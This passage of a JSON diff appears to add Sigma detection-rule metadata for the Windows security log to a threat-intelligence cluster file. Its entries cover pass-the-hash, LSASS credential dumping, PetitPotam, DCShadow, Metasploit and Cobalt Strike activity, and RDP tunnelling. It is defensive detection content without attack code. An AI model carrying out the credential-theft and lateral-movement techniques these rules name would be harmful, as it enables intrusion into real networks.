"52d8b0c6-53d6-439a-9e41-52ad442ad9ad", + "value": "First Time Seen Remote Named Pipe", + "meta": { + "refs": [ + "https://twitter.com/menasec1/status/1104489274387451904", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lm_namedpipe.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2019/04/03", + "filename": "win_security_lm_namedpipe.yml", + "author": "Samir Bousseaden", + "level": "high", + "falsepositive": [ + "Update the excluded named pipe to filter out any newly observed legit named pipe" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "The attacker might use LOLBAS nltest.exe for discovery of domain controllers, domain trusts, parent domain and the current user permissions.", + "uuid": "eeb66bbb-3dde-4582-815a-584aee9fe6d1", + "value": "Correct Execution of Nltest.exe", + "meta": { + "refs": [ + "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/nltest.htm", + "https://attack.mitre.org/software/S0359/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lolbas_execution_of_nltest.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1482", + "attack.t1018", + "attack.t1016" + ], + "creation_date": "2021/10/04", + "filename": "win_security_lolbas_execution_of_nltest.yml", + "author": "Arun Chauhan", + "level": "high", + "falsepositive": [ + "Red team activity", + "Rare legitimate use by an administrator" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential mimikatz-like tools accessing LSASS from non system account", + "uuid": "962fe167-e48d-4fd6-9974-11e5b9a5d6d1", + "value": "LSASS Access from Non System Account", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-170105221010.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lsass_access_non_system_account.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2019/06/20", + "filename": "win_security_lsass_access_non_system_account.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects well-known credential dumping tools execution via service execution events", + "uuid": "f0d1feba-4344-4ca9-8121-a6c97bd6df52", + "value": "Credential Dumping Tools Service Execution", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_creddumper.yml" + ], + "tags": [ + "attack.credential_access", + "attack.execution", + "attack.t1003.001", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.005", + "attack.t1003.006", + "attack.t1569.002", + "attack.s0005" + ], + "creation_date": "2017/03/05", + "filename": "win_security_mal_creddumper.yml", + "author": "Florian Roth, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate Administrator using credential dumping tool for password recovery" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects known malicious service installs that only appear in cases of lateral movement, credential dumping, and other suspicious activities.", + "uuid": "cb062102-587e-4414-8efa-dbe3c7bf19c6", + "value": "Malicious Service Installations", + "meta": { + "refs": [ + "https://awakesecurity.com/blog/threat-hunting-for-paexec/", + "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html", + "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_service_installs.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1003", + "car.2013-09-005", + "attack.t1543.003", + "attack.t1569.002" + ], + "creation_date": "2017/03/27", + "filename": "win_security_mal_service_installs.yml", + "author": "Florian Roth, Daniil Yugoslavskiy, oscd.community (update)", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects wceaux.dll access while WCE pass-the-hash remote command execution on source host", + "uuid": "1de68c67-af5c-4097-9c85-fe5578e09e67", + "value": "WCE wceaux.dll Access", + "meta": { + "refs": [ + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://jpcertcc.github.io/ToolAnalysisResultSheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_wceaux_dll.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003", + "attack.s0005" + ], + "creation_date": "2017/06/14", + "filename": "win_security_mal_wceaux_dll.yml", + "author": "Thomas Patzke", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Alerts on Metasploit host's authentications on the domain.", + "uuid": "72124974-a68b-4366-b990-d30e0b2a190d", + "value": "Metasploit SMB Authentication", + "meta": { + "refs": [ + "https://github.com/rapid7/metasploit-framework/blob/1416b5776d963f21b7b5b45d19f3e961201e0aed/lib/rex/proto/smb/client.rb", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_metasploit_authentication.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2020/05/06", + "filename": "win_security_metasploit_authentication.yml", + "author": "Chakib Gzenayi (@Chak092), Hosni Mribah", + "level": "high", + "falsepositive": [ + "Linux hostnames composed of 16 characters." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation", + "uuid": "6fb63b40-e02a-403e-9ffd-3bcc1d749442", + "value": "Metasploit Or Impacket Service Installation Via SMB PsExec", + "meta": { + "refs": [ + "https://bczyz1.github.io/2021/01/30/psexec.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_metasploit_or_impacket_smb_psexec_service_install.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002", + "attack.t1570", + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2021/01/21", + "filename": "win_security_metasploit_or_impacket_smb_psexec_service_install.yml", + "author": "Bartlomiej Czyz, Relativity", + "level": "high", + "falsepositive": [ + "Possible, different agents with a 8 character binary and a 4, 8 or 16 character service name" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation", + "uuid": "ecbc5e16-58e0-4521-9c60-eb9a7ea4ad34", + "value": "Meterpreter or Cobalt Strike Getsystem Service Installation", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_meterpreter_or_cobaltstrike_getsystem_service_install.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1134.001", + "attack.t1134.002" + ], + "creation_date": "2019/10/26", + "filename": "win_security_meterpreter_or_cobaltstrike_getsystem_service_install.yml", + "author": "Teymur Kheirkhabarov, Ecco, Florian Roth", + "level": "critical", + "falsepositive": [ + "Highly unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects NetNTLM downgrade attack", + "uuid": "d3abac66-f11c-4ed0-8acb-50cc29c97eed", + "value": "NetNTLM Downgrade Attack", + "meta": { + "refs": [ + "https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_net_ntlm_downgrade.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001", + "attack.t1112" + ], + "creation_date": "2018/03/20", + "filename": "win_security_net_ntlm_downgrade.yml", + "author": "Florian Roth, wagga", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects unusual processes accessing desktop.ini remotely over network share, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.", + "uuid": "35bc7e28-ee6b-492f-ab04-da58fcf6402e", + "value": "Windows Network Access Suspicious desktop.ini Action", + "meta": { + "refs": [ + "https://isc.sans.edu/forums/diary/Desktopini+as+a+postexploitation+tool/25912/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_net_share_obj_susp_desktop_ini.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.009" + ], + "creation_date": "2021/12/06", + "filename": "win_security_net_share_obj_susp_desktop_ini.yml", + "author": "Tim Shelton (HAWK.IO)", + "level": "medium", + "falsepositive": [ + "Read only access list authority" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects possible bypass EDR and SIEM via abnormal user account name.", + "uuid": "cfeed607-6aa4-4bbd-9627-b637deb723c8", + "value": "New or Renamed User Account with '$' in Attribute 'SamAccountName'", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_new_or_renamed_user_account_with_dollar_sign.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ], + "creation_date": "2019/10/25", + "filename": "win_security_new_or_renamed_user_account_with_dollar_sign.yml", + "author": "Ilyas Ochkov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This event is generated when an authenticated user who is not allowed to log on remotely attempts to connect to this computer through Remote Desktop.\nOften, this event can be generated by attackers when searching for available windows servers in the network.\n", + "uuid": "8e5c03fa-b7f0-11ea-b242-07e0576828d9", + "value": "Denied Access To Remote Desktop", + "meta": { + "refs": [ + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4825", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_not_allowed_rdp_access.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.001" + ], + "creation_date": "2020/06/27", + "filename": "win_security_not_allowed_rdp_access.yml", + "author": "Pushkarev Dmitry", + "level": "medium", + "falsepositive": [ + "Valid user was not added to RDP group" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects successful logon with logon type 9 (NewCredentials) which matches the Overpass the Hash behavior of e.g Mimikatz's sekurlsa::pth module.", + "uuid": "192a0330-c20b-4356-90b6-7b7049ae0b87", + "value": "Successful Overpass the Hash Attempt", + "meta": { + "refs": [ + "https://cyberwardog.blogspot.de/2017/04/chronicles-of-threat-hunter-hunting-for.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_overpass_the_hash.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.s0002", + "attack.t1550.002" + ], + "creation_date": "2018/02/12", + "filename": "win_security_overpass_the_hash.yml", + "author": "Roberto Rodriguez (source), Dominik Schaudel (rule)", + "level": "high", + "falsepositive": [ + "Runas command-line tool using /netonly parameter" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the attack technique pass the hash which is used to move laterally inside the network", + "uuid": "8eef149c-bd26-49f2-9e5a-9b00e3af499b", + "value": "Pass the Hash Activity 2", + "meta": { + "refs": [ + "https://github.com/iadgov/Event-Forwarding-Guidance/tree/master/Events", + "https://blog.binarydefense.com/reliably-detecting-pass-the-hash-through-event-log-analysis", + "https://blog.stealthbits.com/how-to-detect-pass-the-hash-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_pass_the_hash_2.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1550.002" + ], + "creation_date": "2019/06/14", + "filename": "win_security_pass_the_hash_2.yml", + "author": "Dave Kennedy, Jeff Warren (method) / David Vassallo (rule)", + "level": "medium", + "falsepositive": [ + "Administrator activity" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detect PetitPotam coerced authentication activity.", + "uuid": "1ce8c8a3-2723-48ed-8246-906ac91061a6", + "value": "Possible PetitPotam Coerce Authentication Attempt", + "meta": { + "refs": [ + "https://github.com/topotam/PetitPotam", + "https://github.com/splunk/security_content/blob/0dd6de32de2118b2818550df9e65255f4109a56d/detections/endpoint/petitpotam_network_share_access_request.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_petitpotam_network_share.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1187" + ], + "creation_date": "2021/09/02", + "filename": "win_security_petitpotam_network_share.yml", + "author": "Mauricio Velazco, Michael Haag", + "level": "high", + "falsepositive": [ + "Unknown. Feedback welcomed." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detect suspicious Kerberos TGT requests.\nOnce an attacer obtains a computer certificate by abusing Active Directory Certificate Services in combination with PetitPotam, the next step would be to leverage the certificate for malicious purposes.\nOne way of doing this is to request a Kerberos Ticket Granting Ticket using a tool like Rubeus.\nThis request will generate a 4768 event with some unusual fields depending on the environment.\nThis analytic will require tuning, we recommend filtering Account_Name to the Domain Controller computer accounts.\n", + "uuid": "6a53d871-682d-40b6-83e0-b7c1a6c4e3a5", + "value": "PetitPotam Suspicious Kerberos TGT Request", + "meta": { + "refs": [ + "https://github.com/topotam/PetitPotam", + "https://isc.sans.edu/forums/diary/Active+Directory+Certificate+Services+ADCS+PKI+domain+admin+vulnerability/27668/", + "https://github.com/splunk/security_content/blob/develop/detections/endpoint/petitpotam_suspicious_kerberos_tgt_request.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_petitpotam_susp_tgt_request.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1187" + ], + "creation_date": "2021/09/02", + "filename": "win_security_petitpotam_susp_tgt_request.yml", + "author": "Mauricio Velazco, Michael Haag", + "level": "high", + "falsepositive": [ + "False positives are possible if the environment is using certificates for authentication. We recommend filtering Account_Name to the Domain Controller computer accounts." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects DCShadow via create new SPN", + "uuid": "32e19d25-4aed-4860-a55a-be99cb0bf7ed", + "value": "Possible DC Shadow Attack", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/blob/ec5bb710499caae6667c7f7311ca9e92c03b9039/rules/windows/builtin/win_dcsync.yml", + "https://twitter.com/gentilkiwi/status/1003236624925413376", + "https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2", + "https://blog.alsid.eu/dcshadow-explained-4510f52fc19d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_possible_dc_shadow.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1207" + ], + "creation_date": "2019/10/25", + "filename": "win_security_possible_dc_shadow.yml", + "author": "Ilyas Ochkov, oscd.community, Chakib Gzenayi (@Chak092), Hosni Mribah", + "level": "medium", + "falsepositive": [ + "Valid on domain controllers; exclude known DCs" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects powershell script installed as a Service", + "uuid": "2a926e6a-4b81-4011-8a96-e36cc8c04302", + "value": "PowerShell Scripts Installed as Services", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_powershell_script_installed_as_service.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2020/10/06", + "filename": "win_security_powershell_script_installed_as_service.yml", + "author": "oscd.community, Natalia Shornikova", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects access to a protected_storage service over the network. Potential abuse of DPAPI to extract domain backup keys from Domain Controllers", + "uuid": "45545954-4016-43c6-855e-eae8f1c369dc", + "value": "Protected Storage Service Access", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-190620024610.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_protected_storage_service_access.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2019/08/10", + "filename": "win_security_protected_storage_service_access.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects rare scheduled tasks creations that only appear a few times per time frame and could reveal password dumpers, backdoor installs or other types of malicious code", + "uuid": "b0d77106-7bb0-41fe-bd94-d1752164d066", + "value": "Rare Schtasks Creations", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rare_schtasks_creations.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "attack.persistence", + "car.2013-08-001", + "attack.t1053.005" + ], + "creation_date": "2017/03/23", + "filename": "win_security_rare_schtasks_creations.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "Software installation", + "Software updates" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of a scanner by zerosum0x0 that discovers targets vulnerable to CVE-2019-0708 RDP RCE aka BlueKeep", + "uuid": "8400629e-79a9-4737-b387-5db940ab2367", + "value": "Scanner PoC for CVE-2019-0708 RDP RCE Vuln", + "meta": { + "refs": [ + "https://twitter.com/AdamTheAnalyst/status/1134394070045003776", + "https://github.com/zerosum0x0/CVE-2019-0708", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_bluekeep_poc_scanner.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1210", + "car.2013-07-002" + ], + "creation_date": "2019/06/02", + "filename": "win_security_rdp_bluekeep_poc_scanner.yml", + "author": "Florian Roth (rule), Adam Bradbury (idea)", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "RDP login with localhost source address may be a tunnelled login", + "uuid": "51e33403-2a37-4d66-a574-1fda1782cc31", + "value": "RDP Login from Localhost", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_localhost_login.yml" + ], + "tags": [ + "attack.lateral_movement", + "car.2013-07-002", + "attack.t1021.001" + ], + "creation_date": "2019/01/28", + "filename": "win_security_rdp_localhost_login.yml", + "author": "Thomas Patzke", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects svchost hosting RDP termsvcs communicating with the loopback address", + "uuid": "5bed80b6-b3e8-428e-a3ae-d3c757589e41", + "value": "RDP over Reverse SSH Tunnel WFP", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1096148422984384514", + "https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/44fbe85f72ee91582876b49678f9a26292a155fb/Command%20and%20Control/DE_RDP_Tunnel_5156.evtx", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_reverse_tunnel.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.command_and_control", + "attack.lateral_movement", + "attack.t1090.001", + "attack.t1090.002", + "attack.t1021.001", + "car.2013-07-002" + ], + "creation_date": "2019/02/16", + "filename": "win_security_rdp_reverse_tunnel.yml", + "author": "Samir Bousseaden", + "level": "high", + "falsepositive": [ + "Programs that connect locally to the RDP port" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential use of Rubeus via registered new trusted logon process", + "uuid": "12e6d621-194f-4f59-90cc-1959e21e69f7", + "value": "Register new Logon Process by Rubeus", + "meta": { + "refs": [ + "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_register_new_logon_process_by_rubeus.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.privilege_escalation", + "attack.t1558.003" + ], + "creation_date": "2019/10/24", + "filename": "win_security_register_new_logon_process_by_rubeus.yml", + "author": "Roberto Rodriguez (source), Ilyas Ochkov (rule), oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects basic PowerShell Remoting (WinRM) by monitoring for network inbound connections to ports 5985 OR 5986", + "uuid": "13acf386-b8c6-4fe0-9a6e-c4756b974698", + "value": "Remote PowerShell Sessions Network Connections (WinRM)", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_remote_powershell_session.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/09/12", + "filename": "win_security_remote_powershell_session.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "high", + "falsepositive": [ + "Legitimate use of remote PowerShell execution" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects possible Kerberos Replay Attack on the domain controllers when \"KRB_AP_ERR_REPEAT\" Kerberos response is sent to the client", + "uuid": "5a44727c-3b85-4713-8c44-4401d5499629", + "value": "Replay Attack Detected", + "meta": { + "refs": [ + "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4649", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_replay_attack_detected.yml" + ], + "tags": "No established tags", + "creation_date": "2022/10/14", + "filename": "win_security_replay_attack_detected.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the renaming of an existing computer account to a account name that doesn't contain a $ symbol as seen in attacks against CVE-2021-42287", + "uuid": "45eb2ae2-9aa2-4c3a-99a5-6e5077655466", + "value": "Suspicious Computer Account Name Change CVE-2021-42287", + "meta": { + "refs": [ + "https://medium.com/@mvelazco/hunting-for-samaccountname-spoofing-cve-2021-42287-and-domain-controller-impersonation-f704513c8a45", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_samaccountname_spoofing_cve_2021_42287.yml" + ], + "tags": "No established tags", + "creation_date": "2021/12/22", + "filename": "win_security_samaccountname_spoofing_cve_2021_42287.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects handles requested to SAM registry hive", + "uuid": "f8748f2c-89dc-4d95-afb0-5a2dfdbad332", + "value": "SAM Registry Hive Handle Request", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190725024610.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_sam_registry_hive_handle_request.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1012", + "attack.credential_access", + "attack.t1552.002" + ], + "creation_date": "2019/08/12", + "filename": "win_security_sam_registry_hive_handle_request.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects scheduled task deletion events. Scheduled tasks are likely to be deleted if not used for persistence. Malicious Software often creates tasks directly under the root node e.g. \\TASKNAME", + "uuid": "4f86b304-3e02-40e3-aa5d-e88a167c9617", + "value": "Scheduled Task Deletion", + "meta": { + "refs": [ + "https://twitter.com/matthewdunwoody/status/1352356685982146562", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4699", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scheduled_task_deletion.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "car.2013-08-001", + "attack.t1053.005" + ], + "creation_date": "2021/01/22", + "filename": "win_security_scheduled_task_deletion.yml", + "author": "David Strassegger, Tim Shelton", + "level": "low", + "falsepositive": [ + "Software installation" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects non-system users failing to get a handle of the SCM database.", + "uuid": "13addce7-47b2-4ca0-a98f-1de964d1d669", + "value": "SCM Database Handle Failure", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190826010110.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scm_database_handle_failure.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1010" + ], + "creation_date": "2019/08/12", + "filename": "win_security_scm_database_handle_failure.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects non-system users performing privileged operation os the SCM database", + "uuid": "dae8171c-5ec6-4396-b210-8466585b53e9", + "value": "SCM Database Privileged Operation", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190826010110.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scm_database_privileged_operation.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548" + ], + "creation_date": "2019/08/15", + "filename": "win_security_scm_database_privileged_operation.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g, Tim Shelton", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detect potential adversaries leveraging WMI ActiveScriptEventConsumers remotely to move laterally in a network", + "uuid": "9599c180-e3a8-4743-8f92-7fb96d3be648", + "value": "Remote WMI ActiveScriptEventConsumers", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-200902020333.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scrcons_remote_wmi_scripteventconsumer.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.privilege_escalation", + "attack.persistence", + "attack.t1546.003" + ], + "creation_date": "2020/09/02", + "filename": "win_security_scrcons_remote_wmi_scripteventconsumer.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "SCCM" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a service installed by a client which has PID 0 or whose parent has PID 0", + "uuid": "c4e92a97-a9ff-4392-9d2d-7a4c642768ca", + "value": "Service Installed By Unusual Client - Security", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/windows-service-installed-via-an-unusual-client.html", + "https://twitter.com/SBousseaden/status/1490608838701166596", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_service_installation_by_unusal_client.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543" + ], + "creation_date": "2022/09/15", + "filename": "win_security_service_installation_by_unusal_client.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "security", + "logsource.product": "windows" + } + }, + { + "description": "Look for non-system accounts SMB accessing a file with write (0x2) access mask via administrative share (i.e C$).", + "uuid": "b210394c-ba12-4f89-9117-44a2464b9511", + "value": "SMB Create Remote File Admin Share", + "meta": { + "refs": [ + "https://github.com/OTRF/ThreatHunter-Playbook/blob/f7a58156dbfc9b019f17f638b8c62d22e557d350/playbooks/WIN-201012004336.yaml", + "https://securitydatasets.com/notebooks/small/windows/08_lateral_movement/SDWIN-200806015757.html?highlight=create%20file", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_smb_file_creation_admin_shares.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2020/08/06", + "filename": "win_security_smb_file_creation_admin_shares.yml", + "author": "Jose Rodriguez (@Cyb3rPandaH), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Addition of domains is seldom and should be verified for legitimacy.", + "uuid": "0255a820-e564-4e40-af2b-6ac61160335c", + "value": "Addition of Domain Trusts", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_add_domain_trust.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2019/12/03", + "filename": "win_security_susp_add_domain_trust.yml", + "author": "Thomas Patzke", + "level": "medium", + "falsepositive": [ + "Legitimate extension of domain structure" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "An attacker can use the SID history attribute to gain additional privileges.", + "uuid": "2632954e-db1c-49cb-9936-67d1ef1d17d2", + "value": "Addition of SID History to Active Directory Object", + "meta": { + "refs": [ + "https://adsecurity.org/?p=1772", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_add_sid_history.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1134.005" + ], + "creation_date": "2017/02/19", + "filename": "win_security_susp_add_sid_history.yml", + "author": "Thomas Patzke, @atc_project (improvements)", + "level": "medium", + "falsepositive": [ + "Migration of an account into a new domain" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Code integrity failures may indicate tampered executables.", + "uuid": "470ec5fa-7b4e-4071-b200-4c753100f49b", + "value": 